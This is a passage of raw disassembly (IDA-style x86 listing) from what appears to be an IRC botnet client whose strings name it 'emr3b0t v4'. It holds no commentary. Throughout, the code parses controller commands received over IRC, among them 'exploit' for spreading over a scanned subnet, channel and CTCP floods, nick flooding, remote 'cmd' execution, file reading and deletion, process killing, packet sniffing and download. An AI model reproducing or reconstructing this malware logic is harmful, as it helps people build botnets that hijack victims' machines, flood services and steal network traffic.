ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_440EF0 jmp loc_40220D ; --------------------------------------------------------------------------- loc_4049C0: ; CODE XREF: sub_401C87+2D47j push 32h call ds:dword_4F534C ; Sleep loc_4049C8: ; CODE XREF: sub_401C87+2D26j cmp [ebp+var_968], ebx jz short loc_4049C0 jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_4049D5: ; CODE XREF: sub_401C87+F75j ; sub_401C87+F8Aj ... push edi push offset aSecure_0 ; "secure" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4049FD push edi push offset aSec_0 ; "sec" call sub_41F7E0 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404A07 loc_4049FD: ; CODE XREF: sub_401C87+2D5Dj mov [ebp+var_A10], 1 loc_404A07: ; CODE XREF: sub_401C87+2D74j push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41EC30 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404A4E mov eax, offset aUnsecuring ; "Unsecuring" loc_404A4E: ; CODE XREF: sub_401C87+2DC0j push eax push offset dword_440F54 lea eax, [ebp+var_2C0] push 200h push eax call sub_41EC30 push ebx lea eax, [ebp+var_2C0] push 22h push eax call sub_40B691 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_41AAA5 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_404AC5 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_440F70 jmp loc_4085EB ; --------------------------------------------------------------------------- loc_404ABD: ; CODE XREF: sub_401C87+2E44j push 32h call ds:dword_4F534C ; Sleep loc_404AC5: ; CODE XREF: sub_401C87+2E23j cmp [ebp+var_A04], ebx jz short loc_404ABD jmp loc_402593 ; --------------------------------------------------------------------------- loc_404AD2: ; CODE XREF: sub_401C87+F4Bj ; sub_401C87+F60j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41B33E loc_404AE3: ; CODE XREF: sub_401C87+2AB1j ; sub_401C87+2AC7j ... add esp, 0Ch jmp loc_409A67 ; --------------------------------------------------------------------------- loc_404AEB: ; CODE XREF: sub_401C87+F21j ; sub_401C87+F36j push offset unk_440FB0 jmp loc_40649E ; --------------------------------------------------------------------------- loc_404AF5: ; CODE XREF: sub_401C87+EF7j ; sub_401C87+F0Cj push offset aEmr3b0tV4 ; "emr3b0t v4" push offset dword_441060 jmp loc_406F0F ; --------------------------------------------------------------------------- loc_404B04: ; CODE XREF: sub_401C87+ECDj ; sub_401C87+EE2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404B60 push esi call sub_41E710 cmp eax, ebx pop ecx jl short loc_404B55 cmp eax, 3 jge short loc_404B55 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_404B4A lea eax, [esi+1] push eax lea eax, [ebp+var_2C0] push offset unk_441070 push eax call sub_41EA60 mov [esi], bl jmp loc_40619C ; --------------------------------------------------------------------------- loc_404B4A: ; CODE XREF: sub_401C87+2EA5j push eax push offset unk_441090 jmp loc_406190 ; --------------------------------------------------------------------------- loc_404B55: ; CODE XREF: sub_401C87+2E91j ; sub_401C87+2E96j push eax push offset unk_4410BC jmp loc_406190 ; --------------------------------------------------------------------------- loc_404B60: ; CODE XREF: sub_401C87+2E86j mov edi, [ebp+arg_18] xor esi, esi loc_404B65: ; CODE XREF: sub_401C87+2EFAj push [ebp+var_90] push edi call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_404B88 inc esi add edi, 80h cmp esi, 3 jl short loc_404B65 jmp loc_407148 ; --------------------------------------------------------------------------- loc_404B88: ; CODE XREF: sub_401C87+2EEEj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset unk_4410E8 jmp loc_406190 ; --------------------------------------------------------------------------- loc_404BA2: ; CODE XREF: sub_401C87+EA3j ; sub_401C87+EB8j push [ebp+var_8C] push offset a332_1 ; "332" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_403610 call sub_40B854 push ebx call ds:off_4F5338 loc_404BC8: ; CODE XREF: sub_401C87+19C2j push offset aGet_2 ; "get" push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_404C6E cmp ds:dword_4E676C, ebx jz short loc_404BF4 push offset dword_4E6150 push offset unk_441110 jmp loc_404C80 ; --------------------------------------------------------------------------- loc_404BF4: ; CODE XREF: sub_401C87+2F5Cj push 10h pop eax mov [ebp+var_2D0], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call ds:dword_4F554C ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41EA60 lea eax, [ebp+var_E30] push eax lea eax, [ebp+var_2C0] push offset unk_441154 push eax call sub_41EA60 add esp, 20h jmp loc_403668 ; --------------------------------------------------------------------------- loc_404C6E: ; CODE XREF: sub_401C87+2F50j push esi call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh push esi jnz short loc_404C94 push offset unk_44118C loc_404C80: ; CODE XREF: sub_401C87+2F68j lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 0Ch jmp loc_403668 ; --------------------------------------------------------------------------- loc_404C94: ; CODE XREF: sub_401C87+2FF2j push offset dword_4E6150 call sub_41F620 push esi lea eax, [ebp+var_2C0] push offset unk_4411C0 push eax mov ds:dword_4E676C, 1 call sub_41EA60 add esp, 14h jmp loc_403668 ; --------------------------------------------------------------------------- loc_404CC2: ; CODE XREF: sub_401C87+19AAj push edi push offset aExploit ; "exploit" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_404DBB mov eax, [ebp+var_4] mov esi, offset a2 ; "#2" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41EC30 push esi lea eax, [ebp+var_14F4] push edi push eax call sub_41EC30 push [ebp+arg_10] lea eax, [ebp+var_1504] push 10h push eax call sub_41EC30 lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C0] push offset unk_4411F4 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 8 push eax call sub_40B691 add esp, 3Ch mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset sub_40BE20 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_404DAE call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_441224 jmp loc_406190 ; --------------------------------------------------------------------------- loc_404DA6: ; CODE XREF: sub_401C87+312Dj push 32h call ds:dword_4F534C ; Sleep loc_404DAE: ; CODE XREF: sub_401C87+310Cj cmp [ebp+var_13DC], ebx jz short loc_404DA6 jmp loc_407148 ; --------------------------------------------------------------------------- loc_404DBB: ; CODE XREF: sub_401C87+304Aj push edi push offset aReconnect_in ; "reconnect.in" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4099DA push edi push offset aRin ; "rin" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4099DA push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409994 push edi push offset aRinms ; "rinms" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409994 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41F7E0 mov edi, ds:dword_4F534C pop ecx test eax, eax pop ecx jnz loc_405977 call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 push [ebp+arg_10] push offset aLoad ; "load" call sub_41F7E0 add esp, 0Ch test eax, eax jnz short loc_404EBE cmp [ebp+esi+var_80], ebx jz short loc_404EBE push [ebp+esi+var_80] call sub_41E710 pop ecx push eax push [ebp+esi+var_84] call sub_41E710 pop ecx push eax push [ebp+esi+var_88] call sub_4183AA push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_4412A0 push eax call sub_41EA60 add esp, 20h cmp [ebp+var_8], ebx jnz short loc_404EBE push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_404EBE: ; CODE XREF: sub_401C87+31C3j ; sub_401C87+31C9j ... push [ebp+arg_10] push offset aPm_1 ; "pm" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_404F27 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404F27 push offset a__6 ; " _" push (offset a__6+2) push eax call sub_4189CD push eax lea eax, [ebp+var_50F4] push eax call sub_41F620 lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_3 ; "privmsg %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 28h loc_404F27: ; CODE XREF: sub_401C87+3248j ; sub_401C87+3253j push [ebp+arg_10] push offset aCt ; "ct" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_404F90 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404F90 push offset a__7 ; " _" push (offset a__7+2) push eax call sub_4189CD push eax lea eax, [ebp+var_4BF0] push eax call sub_41F620 lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_4412EC push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 28h loc_404F90: ; CODE XREF: sub_401C87+32B1j ; sub_401C87+32BCj push [ebp+arg_10] push offset dword_441300 call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_404FF9 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404FF9 push offset byte_441304 push offset word_441306 push eax call sub_4189CD push eax lea eax, [ebp+var_46EC] push eax call sub_41F620 lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_441308 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 28h loc_404FF9: ; CODE XREF: sub_401C87+331Aj ; sub_401C87+3325j push [ebp+arg_10] push offset aMode ; "mode" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_405062 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405062 push offset asc_44131E ; " " push offset a_ ; "_" push eax call sub_4189CD push eax lea eax, [ebp+var_4DF0] push eax call sub_41F620 lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 28h loc_405062: ; CODE XREF: sub_401C87+3383j ; sub_401C87+338Ej push [ebp+arg_10] push offset aJoin ; "join" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4050A1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_4050A1 push eax lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 10h loc_4050A1: ; CODE XREF: sub_401C87+33ECj ; sub_401C87+33F7j push [ebp+arg_10] push offset aPart_1 ; "part" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4050E0 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_4050E0 push eax lea eax, [ebp+var_2C0] push offset aPartS ; "part %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 10h loc_4050E0: ; CODE XREF: sub_401C87+342Bj ; sub_401C87+3436j push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_405124 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_405124 push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C0] push offset aPartSS ; "part %s %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_405124: ; CODE XREF: sub_401C87+346Aj ; sub_401C87+3475j push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_405199 cmp [ebp+esi+var_88], ebx jz short loc_405199 call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 call sub_41EB70 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset aSI ; "%s%i" push eax call sub_41EA60 lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C0] push offset aNickS_0 ; "NICK %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 24h loc_405199: ; CODE XREF: sub_401C87+34AEj ; sub_401C87+34B7j push [ebp+arg_10] push offset aJoinPart ; "join/part" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4052E0 cmp [ebp+esi+var_88], ebx jz loc_4052E0 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_0 ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE push offset aCyber ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS_0 ; "part %s %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 24h call sub_41EB70 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_1 ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 10h call sub_41EB70 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS_1 ; "part %s %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_2 ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 24h call sub_41EB70 cdq mov ecx, 0C8h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS_2 ; "part %s %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_4052E0: ; CODE XREF: sub_401C87+3523j ; sub_401C87+3530j push [ebp+arg_10] push offset aDcc ; "dcc" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_40537A cmp [ebp+esi+var_88], ebx jz short loc_40537A call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx call sub_41EB70 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41EB70 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41EB70 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41EB70 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41EB70 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C0] push edx push [ebp+esi+var_88] push offset dword_4413CC push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 24h loc_40537A: ; CODE XREF: sub_401C87+366Aj ; sub_401C87+3677j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_405477 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405477 push eax lea eax, [ebp+var_2C0] push offset aJoinS_3 ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE lea eax, [ebp+var_4BC] push eax call sub_418428 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset aNickS_1 ; "NICK %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 24h call sub_41EB70 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax call sub_418428 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset aNickS_2 ; "NICK %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h call sub_41EB70 cdq mov ecx, 1F4h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax call sub_418428 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset aNickS_3 ; "NICK %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_405477: ; CODE XREF: sub_401C87+3704j ; sub_401C87+3713j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4054BD lea eax, [ebp+var_1808] push eax call sub_418428 lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C0] push offset aNickS_4 ; "NICK %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_4054BD: ; CODE XREF: sub_401C87+3801j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4055A9 cmp [ebp+esi+var_88], ebx jz loc_4055A9 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_4 ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS ; "privmsg %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 24h call sub_41EB70 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "privmsg %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h call sub_41EB70 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_1 ; "privmsg %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_4055A9: ; CODE XREF: sub_401C87+3847j ; sub_401C87+3854j push [ebp+arg_10] push offset aNotice_2 ; "notice" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_405695 cmp [ebp+esi+var_88], ebx jz loc_405695 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_5 ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 24h call sub_41EB70 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_2 ; "NOTICE %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h call sub_41EB70 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_3 ; "NOTICE %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_405695: ; CODE XREF: sub_401C87+3933j ; sub_401C87+3940j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4057A9 cmp [ebp+esi+var_88], ebx jz loc_4057A9 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS_6 ; "join %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_4414B8 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 20h call sub_41EB70 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_4414CC push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 10h call sub_41EB70 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_4414E4 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 10h call sub_41EB70 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_4414FC push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 10h loc_4057A9: ; CODE XREF: sub_401C87+3A1Fj ; sub_401C87+3A2Cj push [ebp+arg_10] push offset dword_441514 call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4058CC cmp [ebp+esi+var_88], ebx jz loc_4058CC push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_441518 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_441520 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 20h call sub_41EB70 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_441534 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h call sub_41EB70 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_441544 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h call sub_41EB70 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_441554 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_4058CC: ; CODE XREF: sub_401C87+3B33j ; sub_401C87+3B40j push [ebp+arg_10] push offset aRegister ; "register" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_405912 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405912 push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_4180CE add esp, 14h loc_405912: ; CODE XREF: sub_401C87+3C56j ; sub_401C87+3C61j push [ebp+arg_10] push offset aOff_0 ; "off" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_406505 mov edi, offset dword_4EC05C loc_40592E: ; CODE XREF: sub_401C87+3CC6j cmp dword ptr [edi-4], 1 jnz short loc_405941 mov eax, [edi] cmp eax, ebx jbe short loc_405941 push eax call ds:dword_4E3060 ; closesocket loc_405941: ; CODE XREF: sub_401C87+3CABj ; sub_401C87+3CB1j add edi, 210h cmp edi, offset byte_4F277C jl short loc_40592E cmp [ebp+var_8], ebx jnz loc_406505 push ebx push [ebp+var_4] push offset unk_44158C push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h jmp loc_406505 ; --------------------------------------------------------------------------- loc_405977: ; CODE XREF: sub_401C87+319Fj mov edi, [ebp+arg_8] push edi push offset aNick_1 ; "nick" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409977 push edi push offset aN ; "n" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409977 push edi push offset aJoin_0 ; "join" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409953 push edi push offset aJ ; "j" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409953 push edi push offset aPart_2 ; "part" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409936 push edi push offset aPt ; "pt" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409936 push edi push offset aRaw ; "raw" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4098FD push edi push offset aR_0 ; "r" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4098FD push edi push offset aKillthread ; "killthread" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40983D push edi push offset aK ; "k" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40983D push edi push offset aC_quit ; "c_quit" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40978F push edi push offset aC_q ; "c_q" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40978F push edi push offset aC_rndnick ; "c_rndnick" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409734 push edi push offset aC_rn ; "c_rn" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409734 push edi push offset aPrefix ; "prefix" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40971B push edi push offset aPr ; "pr" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40971B push edi push offset aOpen ; "open" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4096ED push edi push offset aO ; "o" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4096ED push edi push offset aServer_0 ; "server" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4096C4 push edi push offset aSe ; "se" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4096C4 push edi push offset aDns ; "dns" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409656 push edi push offset aDn ; "dn" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409656 push edi push offset aKillproc ; "killproc" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409626 push edi push offset aKp ; "kp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409626 push edi push offset aKill ; "kill" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4095C7 push edi push offset aKi ; "ki" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4095C7 push edi push offset aDelete ; "delete" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40958C push edi push offset aDel ; "del" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40958C push edi push offset aGet ; "get" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4094AA push edi push offset aGt ; "gt" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4094AA push edi push offset aList ; "list" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40948B push edi push offset aLi ; "li" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40948B push edi push offset aVisit ; "visit" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4093AA push edi push offset aV ; "v" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4093AA push edi push offset aMirccmd ; "mirccmd" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409334 push edi push offset aMirc ; "mirc" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409334 push edi push offset aCmd ; "cmd" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4092DE push edi push offset aCm ; "cm" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4092DE push edi push offset aReadfile ; "readfile" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409253 push edi push offset aRf ; "rf" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409253 push edi push offset aPsniff ; "psniff" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_405E10 push [ebp+arg_10] push offset aOn ; "on" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_405DD6 push 20h call sub_40B8D3 test eax, eax pop ecx jle short loc_405D04 push offset dword_4416A8 jmp loc_40713A ; --------------------------------------------------------------------------- loc_405D04: ; CODE XREF: sub_401C87+4071j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405D46 mov esi, offset a2_1 ; "#2" push offset byte_4E2E7B push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_405D46 mov esi, [ebp+var_88] loc_405D46: ; CODE XREF: sub_401C87+40A1j ; sub_401C87+40B7j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41EC30 lea eax, [ebp+var_2C0] push offset dword_4416C8 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 20h push eax call sub_40B691 add esp, 20h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push 